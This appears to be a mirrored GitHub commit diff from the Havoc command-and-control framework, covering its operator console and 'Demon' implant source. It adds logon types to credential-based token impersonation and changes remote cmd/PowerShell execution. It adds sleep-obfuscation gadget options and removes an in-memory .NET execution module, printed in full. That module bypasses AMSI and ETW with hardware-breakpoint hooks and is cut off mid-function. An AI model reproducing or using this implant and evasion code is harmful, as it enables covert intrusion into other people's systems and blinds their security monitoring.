mirror of
https://github.com/HavocFramework/Havoc
synced 2026-06-08 11:13:29 +00:00
Merge branch 'HavocFramework:dev' into dev
This commit is contained in:
@@ -413,7 +413,7 @@ std::vector<DemonCommands::Command_t> DemonCommands::DemonCommandList = {
|
||||
.Description = "make token from user credentials",
|
||||
.Behavior = BEHAVIOR_API_ONLY,
|
||||
.MitreTechniques = {"T1134", "T1134.003"},
|
||||
.Usage = "[Domain] [Username] [Password] ",
|
||||
.Usage = "[Domain] [Username] [Password] (LogonType)\nValid types are:\nLOGON_INTERACTIVE\nLOGON_NETWORK\nLOGON_BATCH\nLOGON_SERVICE\nLOGON_UNLOCK\nLOGON_NETWORK_CLEARTEXT\nLOGON_NEW_CREDENTIALS (default)",
|
||||
.Example = "domain.local Administrator Passw0rd@1234",
|
||||
},
|
||||
{
|
||||
|
||||
@@ -874,7 +874,8 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
|
||||
if ( InputCommands.length() > 1 )
|
||||
{
|
||||
auto Program = QString("c:\\windows\\system32\\cmd.exe");
|
||||
auto Args = QString( "/c " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64(); // InputCommands[ 1 ].;
|
||||
// NOTE: the 'shell' command does not need to escape quotes
|
||||
auto Args = QString( "/c " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64();
|
||||
|
||||
TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" );
|
||||
CommandInputList[ TaskID ] = commandline;
|
||||
@@ -1371,20 +1372,55 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
|
||||
return false;
|
||||
}
|
||||
|
||||
if ( InputCommands.size() > 6 )
|
||||
{
|
||||
CONSOLE_ERROR( "Too many arguments" )
|
||||
return false;
|
||||
}
|
||||
|
||||
// token make Domain\user password
|
||||
auto Domain = QString();
|
||||
auto User = QString();
|
||||
auto Password = QString();
|
||||
auto Domain = QString();
|
||||
auto User = QString();
|
||||
auto Password = QString();
|
||||
auto LogonType = QString();
|
||||
|
||||
// token make domain user password
|
||||
Domain = InputCommands[ 2 ];
|
||||
User = InputCommands[ 3 ];
|
||||
Password = InputCommands[ 4 ];
|
||||
|
||||
if ( InputCommands.size() == 6 )
|
||||
{
|
||||
if ( InputCommands[ 5 ].compare( "LOGON_INTERACTIVE" ) == 0 )
|
||||
LogonType = "2";
|
||||
else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK" ) == 0 )
|
||||
LogonType = "3";
|
||||
else if ( InputCommands[ 5 ].compare( "LOGON_BATCH" ) == 0 )
|
||||
LogonType = "4";
|
||||
else if ( InputCommands[ 5 ].compare( "LOGON_SERVICE" ) == 0 )
|
||||
LogonType = "5";
|
||||
else if ( InputCommands[ 5 ].compare( "LOGON_UNLOCK" ) == 0 )
|
||||
LogonType = "7";
|
||||
else if ( InputCommands[ 5 ].compare( "LOGON_NETWORK_CLEARTEXT" ) == 0 )
|
||||
LogonType = "8";
|
||||
else if ( InputCommands[ 5 ].compare( "LOGON_NEW_CREDENTIALS" ) == 0 )
|
||||
LogonType = "9";
|
||||
else
|
||||
{
|
||||
CONSOLE_ERROR( "Invalid token type" )
|
||||
return false;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// default: LOGON_NEW_CREDENTIALS
|
||||
LogonType = "9";
|
||||
}
|
||||
|
||||
TaskID = CONSOLE_INFO( "Tasked demon to make a new network token for " + Domain + "\\" + User );
|
||||
CommandInputList[ TaskID ] = commandline;
|
||||
|
||||
SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() ) );
|
||||
SEND( Execute.Token( TaskID, "make", Domain.toLocal8Bit().toBase64() + ";" + User.toLocal8Bit().toBase64() + ";" + Password.toLocal8Bit().toBase64() + ";" + LogonType ) );
|
||||
}
|
||||
else if ( InputCommands[ 1 ].compare( "revert" ) == 0 )
|
||||
{
|
||||
@@ -1464,7 +1500,10 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
|
||||
auto Args = QByteArray();
|
||||
|
||||
if ( InputCommands.size() > 3 )
|
||||
Args = JoinAtIndex( InputCommands, 3 ).toUtf8();
|
||||
{
|
||||
// NOTE: the 'dotnet inline-execute assembly.exe (args)' command does not need to escape quotes
|
||||
Args = JoinAtIndex( commandline.split( " " ), 3 ).toUtf8();
|
||||
}
|
||||
|
||||
if ( ! QFile::exists( Path ) )
|
||||
{
|
||||
@@ -1778,7 +1817,8 @@ auto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& c
|
||||
if ( InputCommands.length() > 1 )
|
||||
{
|
||||
auto Program = QString("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");
|
||||
auto Args = QString( "-C " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64(); // InputCommands[ 1 ].;
|
||||
// NOTE: the 'powershell' command does not need to escape quotes
|
||||
auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ), 1 ) ).toUtf8().toBase64();
|
||||
|
||||
TaskID = CONSOLE_INFO( "Tasked demon to execute a powershell command/script" );
|
||||
CommandInputList[ TaskID ] = commandline;
|
||||
|
||||
@@ -478,7 +478,6 @@ auto Payload::DefaultConfig() -> void
|
||||
auto DemonConfig = HavocX::Teamserver.DemonConfig;
|
||||
auto ConfigSleep = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigJitter = new QTreeWidgetItem( TreeConfig );
|
||||
|
||||
auto ConfigServiceName = ( QTreeWidgetItem* ) nullptr;
|
||||
auto ConfigServiceNameInput = ( QLineEdit* ) nullptr;
|
||||
|
||||
@@ -490,6 +489,7 @@ auto Payload::DefaultConfig() -> void
|
||||
auto ConfigIndirectSyscalls = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigSleepStackSpoof = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigSleepObfTechnique = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigSleepJmpBypass = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigProxyLoading = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigAmsiEtwPatch = new QTreeWidgetItem( TreeConfig );
|
||||
auto ConfigInjection = new QTreeWidgetItem( TreeConfig );
|
||||
@@ -497,14 +497,15 @@ auto Payload::DefaultConfig() -> void
|
||||
auto ConfigInjectionExecute = new QTreeWidgetItem( ConfigInjection );
|
||||
auto ConfigInjectionSpawn64 = new QTreeWidgetItem( ConfigInjection );
|
||||
auto ConfigInjectionSpawn32 = new QTreeWidgetItem( ConfigInjection );
|
||||
auto SleepObfTechnique = new QComboBox;
|
||||
auto SleepObfSpoofAddress = new QLineEdit;
|
||||
|
||||
auto Jitter = DemonConfig[ "Jitter" ].toInt();
|
||||
if ( Jitter < 0 || Jitter > 100 ) {
|
||||
Jitter = 0;
|
||||
}
|
||||
|
||||
auto SleepObfTechnique = new QComboBox;
|
||||
auto SleepObfJmpBypass = new QComboBox;
|
||||
auto SleepObfSpoofAddress = new QLineEdit;
|
||||
auto ConfigSleepLineEdit = new QLineEdit( QString::number( DemonConfig[ "Sleep" ].toInt() ) );
|
||||
auto ConfigJitterLineEdit = new QLineEdit( QString::number( Jitter ) );
|
||||
auto ConfigIndSyscallCheck = new QCheckBox;
|
||||
@@ -534,6 +535,7 @@ auto Payload::DefaultConfig() -> void
|
||||
ConfigProxyLoading->setFlags( Qt::NoItemFlags );
|
||||
ConfigAmsiEtwPatch->setFlags( Qt::NoItemFlags );
|
||||
ConfigSleepObfTechnique->setFlags( Qt::NoItemFlags );
|
||||
ConfigSleepJmpBypass->setFlags( Qt::NoItemFlags );
|
||||
ConfigSleepStackSpoof->setFlags( Qt::NoItemFlags );
|
||||
ConfigInjectionSpawn64->setFlags( Qt::NoItemFlags );
|
||||
ConfigInjectionSpawn32->setFlags( Qt::NoItemFlags );
|
||||
@@ -547,6 +549,7 @@ auto Payload::DefaultConfig() -> void
|
||||
ConfigSpawn64LineEdit->setObjectName( "ConfigItem" );
|
||||
ConfigSpawn32LineEdit->setObjectName( "ConfigItem" );
|
||||
SleepObfTechnique->setObjectName( "ConfigItem" );
|
||||
SleepObfJmpBypass->setObjectName( "ConfigItem" );
|
||||
SleepObfSpoofAddress->setObjectName( "ConfigItem" );
|
||||
ProxyLoading->setObjectName( "ConfigItem" );
|
||||
AmsiEtwPatch->setObjectName( "ConfigItem" );
|
||||
@@ -554,6 +557,7 @@ auto Payload::DefaultConfig() -> void
|
||||
ConfigIndSyscallCheck->setChecked( DefaultIndSyscallCheck );
|
||||
ConfigStackSpoof->setChecked( DefaultStackDuplication );
|
||||
|
||||
SleepObfJmpBypass->addItems( QStringList() << "None" << "jmp rax" << "jmp rbx" );
|
||||
ConfigInjectAlloc->addItems( QStringList() << "Win32" << "Native/Syscall" );
|
||||
ConfigInjectExecute->addItems( QStringList() << "Win32" << "Native/Syscall" );
|
||||
SleepObfTechnique->addItems( QStringList() << "WaitForSingleObjectEx" << "Foliage" << "Ekko" << "Zilean" );
|
||||
@@ -596,6 +600,7 @@ auto Payload::DefaultConfig() -> void
|
||||
}
|
||||
TreeConfig->setItemWidget( ConfigIndirectSyscalls, 1, ConfigIndSyscallCheck );
|
||||
TreeConfig->setItemWidget( ConfigSleepObfTechnique,1, SleepObfTechnique );
|
||||
TreeConfig->setItemWidget( ConfigSleepJmpBypass, 1, SleepObfJmpBypass );
|
||||
TreeConfig->setItemWidget( ConfigSleepStackSpoof, 1, ConfigStackSpoof );
|
||||
TreeConfig->setItemWidget( ConfigProxyLoading, 1, ProxyLoading );
|
||||
TreeConfig->setItemWidget( ConfigAmsiEtwPatch, 1, AmsiEtwPatch );
|
||||
@@ -614,6 +619,7 @@ auto Payload::DefaultConfig() -> void
|
||||
|
||||
ConfigIndirectSyscalls->setText( 0, "Indirect Syscall" );
|
||||
ConfigSleepObfTechnique->setText( 0, "Sleep Technique" );
|
||||
ConfigSleepJmpBypass->setText( 0, "Sleep Jmp Gadget" );
|
||||
ConfigSleepStackSpoof->setText( 0, "Stack Duplication" );
|
||||
ConfigProxyLoading->setText( 0, "Proxy Loading" );
|
||||
ConfigAmsiEtwPatch->setText( 0, "Amsi/Etw Patch" );
|
||||
|
||||
@@ -9,63 +9,61 @@ set( CMAKE_C_COMPILER x86_64-w64-mingw32-gcc )
|
||||
set( CMAKE_C_FLAGS "-Wl,--pic-executable,-e,main -Wl,-Bstatic -s -w -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libgcc -Wl,-Bstatic " )
|
||||
|
||||
# adding demon sources
|
||||
include_directories( Include )
|
||||
include_directories( include )
|
||||
|
||||
set( COMMON_SOURCE
|
||||
Source/Core/Command.c
|
||||
Source/Core/Win32.c
|
||||
Source/Core/MiniStd.c
|
||||
Source/Core/Token.c
|
||||
Source/Core/Package.c
|
||||
Source/Core/SleepObf.c
|
||||
Source/Core/Spoof.c
|
||||
Source/Core/Syscalls.c
|
||||
Source/Core/SysNative.c
|
||||
Source/Core/Command.c
|
||||
Source/Core/Transport.c
|
||||
Source/Core/TransportHttp.c
|
||||
Source/Core/TransportSmb.c
|
||||
Source/Core/Parser.c
|
||||
Source/Core/Pivot.c
|
||||
Source/Core/Jobs.c
|
||||
Source/Core/Download.c
|
||||
Source/Core/Dotnet.c
|
||||
Source/Core/Socket.c
|
||||
Source/Core/Kerberos.c
|
||||
Source/Core/Thread.c
|
||||
Source/Core/Memory.c
|
||||
Source/Core/Runtime.c
|
||||
Source/Core/HwBpEngine.c
|
||||
Source/Core/HwBpExceptions.c
|
||||
src/core/Command.c
|
||||
src/core/Win32.c
|
||||
src/core/MiniStd.c
|
||||
src/core/Token.c
|
||||
src/core/Package.c
|
||||
src/core/Obf.c
|
||||
src/core/Spoof.c
|
||||
src/core/Syscalls.c
|
||||
src/core/SysNative.c
|
||||
src/core/Command.c
|
||||
src/core/Transport.c
|
||||
src/core/TransportHttp.c
|
||||
src/core/TransportSmb.c
|
||||
src/core/Parser.c
|
||||
src/core/Pivot.c
|
||||
src/core/Jobs.c
|
||||
src/core/Download.c
|
||||
src/core/Dotnet.c
|
||||
src/core/Socket.c
|
||||
src/core/Kerberos.c
|
||||
src/core/Thread.c
|
||||
src/core/Memory.c
|
||||
src/core/Runtime.c
|
||||
src/core/HwBpEngine.c
|
||||
src/core/HwBpExceptions.c
|
||||
src/core/CoffeeLdr.c
|
||||
src/core/ObjectApi.c
|
||||
)
|
||||
|
||||
set( INJECT_SOURCE
|
||||
Source/Inject/Inject.c
|
||||
Source/Inject/InjectUtil.c
|
||||
src/inject/Inject.c
|
||||
src/inject/InjectUtil.c
|
||||
)
|
||||
|
||||
set( LOADER_SOURCE
|
||||
Source/Loader/CoffeeLdr.c
|
||||
Source/Loader/ObjectApi.c
|
||||
set( CRYPT_SOURCE
|
||||
src/crypt/AesCrypt.c
|
||||
)
|
||||
|
||||
set( MAIN_SOURCE
|
||||
# Demon Main entrypoint
|
||||
Source/Demon.c
|
||||
src/Demon.c
|
||||
|
||||
# windows exe
|
||||
Source/Main/MainExe.c
|
||||
src/main/MainExe.c
|
||||
|
||||
# windows dll
|
||||
Source/Main/MainDll.c
|
||||
src/main/MainDll.c
|
||||
|
||||
# windows service
|
||||
Source/Main/MainSvc.c
|
||||
src/main/MainSvc.c
|
||||
)
|
||||
|
||||
set( CRYPT_SOURCE
|
||||
Source/Crypt/AesCrypt.c
|
||||
)
|
||||
|
||||
# preprocessor flags
|
||||
add_compile_definitions( DEBUG )
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
|
||||
#ifndef DEMON_SLEEPOBF_H
|
||||
#define DEMON_SLEEPOBF_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define SLEEPOBF_NO_OBF 0x0
|
||||
#define SLEEPOBF_EKKO 0x1
|
||||
#define SLEEPOBF_ZILEAN 0x2
|
||||
#define SLEEPOBF_FOLIAGE 0x3
|
||||
|
||||
VOID SleepObf( );
|
||||
|
||||
#endif
|
||||
@@ -1,28 +1,22 @@
|
||||
# Havoc Demon Agent
|
||||
|
||||
Havoc Demon Agent source code written in C
|
||||
Havoc Demon Agent source code written in C and assembly
|
||||
|
||||
# Directories
|
||||
|
||||
## Source/Asm
|
||||
## src/asm
|
||||
assembly code (return address stack spoofing)
|
||||
|
||||
## Source/Core
|
||||
## src/core
|
||||
core functions ( connect to server, dynamically load win32 apis / syscalls )
|
||||
|
||||
## Source/Crypt
|
||||
## src/crypt
|
||||
encryption / decryption functions
|
||||
|
||||
## Source/Extra
|
||||
extra code ( KaynLdr Reflective Loader )
|
||||
|
||||
## Source/Inject
|
||||
## src/inject
|
||||
injection functions and utilities
|
||||
|
||||
## Source/Loader
|
||||
loaders ( COFF Loader + Beacon Api )
|
||||
|
||||
## Source/Main
|
||||
## src/main
|
||||
Entry point of an PE executable
|
||||
- MainExe.c
|
||||
|
||||
|
||||
@@ -1,590 +0,0 @@
|
||||
#include <Demon.h>
|
||||
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Core/Dotnet.h>
|
||||
#include <Core/HwBpExceptions.h>
|
||||
|
||||
#define PIPE_BUFFER 0x10000 * 5
|
||||
|
||||
GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
|
||||
GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
|
||||
GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
|
||||
GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
|
||||
GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
|
||||
GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
|
||||
|
||||
BOOL AmsiPatched = FALSE;
|
||||
|
||||
BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments )
|
||||
{
|
||||
PPACKAGE PackageInfo = NULL;
|
||||
SAFEARRAYBOUND RgsBound[ 1 ] = { 0 };
|
||||
BUFFER AssemblyData = { 0 };
|
||||
LPWSTR* ArgumentsArray = NULL;
|
||||
INT ArgumentsCount = 0;
|
||||
LONG idx[ 1 ] = { 0 };
|
||||
VARIANT Object = { 0 };
|
||||
NTSTATUS Status = STATUS_SUCCESS;
|
||||
DWORD ThreadId = 0;
|
||||
HRESULT Result = S_OK;
|
||||
BOOL AmsiIsLoaded = FALSE;
|
||||
|
||||
if ( ! Assembly.Buffer || ! Assembly.Length )
|
||||
return FALSE;
|
||||
|
||||
/* Create a named pipe for our output. try with anon pipes at some point. */
|
||||
Instance.Dotnet->Pipe = Instance.Win32.CreateNamedPipeW(
|
||||
Instance.Dotnet->PipeName.Buffer,
|
||||
PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE,
|
||||
PIPE_TYPE_MESSAGE,
|
||||
PIPE_UNLIMITED_INSTANCES,
|
||||
PIPE_BUFFER, PIPE_BUFFER,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
|
||||
if ( ! Instance.Dotnet->Pipe )
|
||||
{
|
||||
PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() )
|
||||
PACKAGE_ERROR_WIN32;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! ( Instance.Dotnet->File = Instance.Win32.CreateFileW( Instance.Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) )
|
||||
{
|
||||
PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() )
|
||||
PACKAGE_ERROR_WIN32;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.GetConsoleWindow( ) )
|
||||
{
|
||||
HWND wnd = NULL;
|
||||
|
||||
Instance.Win32.AllocConsole( );
|
||||
|
||||
if ( ( wnd = Instance.Win32.GetConsoleWindow( ) ) )
|
||||
Instance.Win32.ShowWindow( wnd, SW_HIDE );
|
||||
}
|
||||
|
||||
// Hosting CLR
|
||||
if ( ! ClrCreateInstance( Instance.Dotnet->NetVersion.Buffer, &Instance.Dotnet->MetaHost, &Instance.Dotnet->ClrRuntimeInfo, &Instance.Dotnet->ICorRuntimeHost ) )
|
||||
{
|
||||
PUTS( "Couldn't start CLR" )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/* TODO: Use Hardware breakpoints and the hardware breakpoint engine
|
||||
* written by rad9800 (https://github.com/rad9800/hwbp4mw) */
|
||||
/* if ( Instance.Session.OSVersion > WIN_VERSION_10 )
|
||||
{
|
||||
PUTS( "Try to patch amsi" )
|
||||
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_AMSI_PATCHED );
|
||||
if ( AmsiPatched == FALSE )
|
||||
{
|
||||
if ( BypassPatchAMSI( ) == TRUE )
|
||||
{
|
||||
PUTS("[+] Successful patched AMSI")
|
||||
AmsiPatched = TRUE;
|
||||
PackageAddInt32( PackageInfo, 0 );
|
||||
} else {
|
||||
PUTS("[-] Something went wrong")
|
||||
PackageAddInt32( PackageInfo, 1 );
|
||||
}
|
||||
} else {
|
||||
PUTS( "Amsi already patched" );
|
||||
PackageAddInt32( PackageInfo, 2 );
|
||||
}
|
||||
PackageTransmit( PackageInfo );
|
||||
} */
|
||||
|
||||
/* if Amsi/Etw bypass is enabled */
|
||||
if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP )
|
||||
{
|
||||
#if _WIN64
|
||||
PUTS( "Try to patch(less) Amsi/Etw" )
|
||||
|
||||
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_PATCHED );
|
||||
|
||||
/* check if Amsi is loaded */
|
||||
AmsiIsLoaded = TRUE;
|
||||
if ( ! Instance.Modules.Amsi ) {
|
||||
AmsiIsLoaded = RtAmsi();
|
||||
}
|
||||
|
||||
PUTS( "Init HwBp Engine" )
|
||||
/* use global engine */
|
||||
if ( ! NT_SUCCESS( HwBpEngineInit( NULL, NULL ) ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ThreadId = U_PTR( Instance.Teb->ClientId.UniqueThread );
|
||||
|
||||
/* add Amsi bypass */
|
||||
if ( AmsiIsLoaded )
|
||||
{
|
||||
PUTS( "HwBp Engine add AmsiScanBuffer bypass" )
|
||||
if ( ! NT_SUCCESS( Status = HwBpEngineAdd( NULL, ThreadId, Instance.Win32.AmsiScanBuffer, HwBpExAmsiScanBuffer, 0 ) ) ) {
|
||||
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/* add Etw bypass */
|
||||
PUTS( "HwBp Engine add NtTraceEvent bypass" )
|
||||
if ( ! NT_SUCCESS( HwBpEngineAdd( NULL, ThreadId, Instance.Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) {
|
||||
PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PackageTransmit( PackageInfo );
|
||||
PackageInfo = NULL;
|
||||
#endif
|
||||
}
|
||||
else if ( Instance.Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) {
|
||||
/* todo: add memory patching technique */
|
||||
}
|
||||
else {
|
||||
/* no patching */
|
||||
}
|
||||
|
||||
/* Let the operator know what version we are going to use. */
|
||||
PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID );
|
||||
PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION );
|
||||
PackageAddBytes( PackageInfo, Instance.Dotnet->NetVersion.Buffer, Instance.Dotnet->NetVersion.Length );
|
||||
PackageTransmit( PackageInfo );
|
||||
|
||||
RgsBound[ 0 ].cElements = Assembly.Length;
|
||||
RgsBound[ 0 ].lLbound = 0;
|
||||
Instance.Dotnet->SafeArray = Instance.Win32.SafeArrayCreate( VT_UI1, 1, RgsBound );
|
||||
|
||||
PUTS( "CreateDomain..." )
|
||||
if ( ( Result = Instance.Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance.Dotnet->ICorRuntimeHost, Instance.Dotnet->AppDomainName.Buffer, NULL, &Instance.Dotnet->AppDomainThunk ) ) ) {
|
||||
PRINTF( "CreateDomain Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PUTS( "QueryInterface..." )
|
||||
if ( ( Result = Instance.Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance.Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance.Dotnet->AppDomain ) ) ) {
|
||||
PRINTF( "QueryInterface Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( ( Result = Instance.Win32.SafeArrayAccessData( Instance.Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) {
|
||||
PRINTF( "SafeArrayAccessData Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PUTS( "Copy assembly to buffer..." )
|
||||
MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length );
|
||||
|
||||
if ( ( Result = Instance.Win32.SafeArrayUnaccessData( Instance.Dotnet->SafeArray ) ) ) {
|
||||
PRINTF("SafeArrayUnaccessData Failed: %x\n", Result )
|
||||
PACKAGE_ERROR_WIN32
|
||||
}
|
||||
|
||||
PUTS( "AppDomain Load..." )
|
||||
if ( ( Result = Instance.Dotnet->AppDomain->lpVtbl->Load_3( Instance.Dotnet->AppDomain, Instance.Dotnet->SafeArray, &Instance.Dotnet->Assembly ) ) ) {
|
||||
PRINTF( "AppDomain Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PUTS( "Assembly EntryPoint..." )
|
||||
if ( ( Result = Instance.Dotnet->Assembly->lpVtbl->EntryPoint( Instance.Dotnet->Assembly, &Instance.Dotnet->MethodInfo ) ) ) {
|
||||
PRINTF( "Assembly EntryPoint Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance.Dotnet->MethodArgs = Instance.Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
|
||||
|
||||
ArgumentsArray = Instance.Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount );
|
||||
ArgumentsArray++;
|
||||
ArgumentsCount--;
|
||||
|
||||
Instance.Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR );
|
||||
Instance.Dotnet->vtPsa.parray = Instance.Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount );
|
||||
|
||||
for ( LONG i = 0; i < ArgumentsCount; i++ ) {
|
||||
if ( ( Result = Instance.Win32.SafeArrayPutElement( Instance.Dotnet->vtPsa.parray, &i, Instance.Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) {
|
||||
PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if ( ( Result = Instance.Win32.SafeArrayPutElement( Instance.Dotnet->MethodArgs, idx, &Instance.Dotnet->vtPsa ) ) ) {
|
||||
PRINTF( "SafeArrayPutElement Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance.Dotnet->StdOut = Instance.Win32.GetStdHandle( STD_OUTPUT_HANDLE );
|
||||
Instance.Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance.Dotnet->File );
|
||||
|
||||
if ( ( Result = Instance.Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance.Dotnet->MethodInfo, Object, Instance.Dotnet->MethodArgs, &Instance.Dotnet->Return ) ) ) {
|
||||
PRINTF( "Invoke Assembly Failed: %x\n", Result )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Instance.Dotnet->Invoked = TRUE;
|
||||
|
||||
/* push output */
|
||||
DotnetPush();
|
||||
|
||||
|
||||
/*
|
||||
* TODO: Finish/Fix this.
|
||||
* It seems like its way to unstable to use this
|
||||
* assembly crashes the agent randomly and dont know why.
|
||||
* Fix this once i get motivated enough or remove this entirely. */
|
||||
|
||||
/*
|
||||
PUTS( "Create Thread..." )
|
||||
|
||||
MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) );
|
||||
MemSet( &ClientId, 0, sizeof( CLIENT_ID ) );
|
||||
|
||||
ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE );
|
||||
ThreadAttr.Entry.Size = sizeof( CLIENT_ID );
|
||||
ThreadAttr.Entry.pValue = &ClientId;
|
||||
ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST );
|
||||
|
||||
PUTS( "Creating events..." )
|
||||
if ( NT_SUCCESS( Instance.Win32.NtCreateEvent( &Instance.Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) &&
|
||||
NT_SUCCESS( Instance.Win32.NtCreateEvent( &Instance.Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) )
|
||||
{
|
||||
if ( NT_SUCCESS( Instance.Win32.NtCreateThreadEx( &Instance.Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) )
|
||||
{
|
||||
Instance.Dotnet->RopInit = NtHeapAlloc( sizeof( CONTEXT ) );
|
||||
Instance.Dotnet->RopInvk = NtHeapAlloc( sizeof( CONTEXT ) );
|
||||
Instance.Dotnet->RopEvnt = NtHeapAlloc( sizeof( CONTEXT ) );
|
||||
Instance.Dotnet->RopExit = NtHeapAlloc( sizeof( CONTEXT ) );
|
||||
|
||||
Instance.Dotnet->RopInit->ContextFlags = CONTEXT_FULL;
|
||||
if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( Instance.Dotnet->Thread, Instance.Dotnet->RopInit ) ) )
|
||||
{
|
||||
MemCopy( Instance.Dotnet->RopInvk, Instance.Dotnet->RopInit, sizeof( CONTEXT ) );
|
||||
MemCopy( Instance.Dotnet->RopEvnt, Instance.Dotnet->RopInit, sizeof( CONTEXT ) );
|
||||
MemCopy( Instance.Dotnet->RopExit, Instance.Dotnet->RopInit, sizeof( CONTEXT ) );
|
||||
|
||||
// This rop executes the entrypoint of the assembly
|
||||
Instance.Dotnet->RopInvk->ContextFlags = CONTEXT_FULL;
|
||||
Instance.Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 );
|
||||
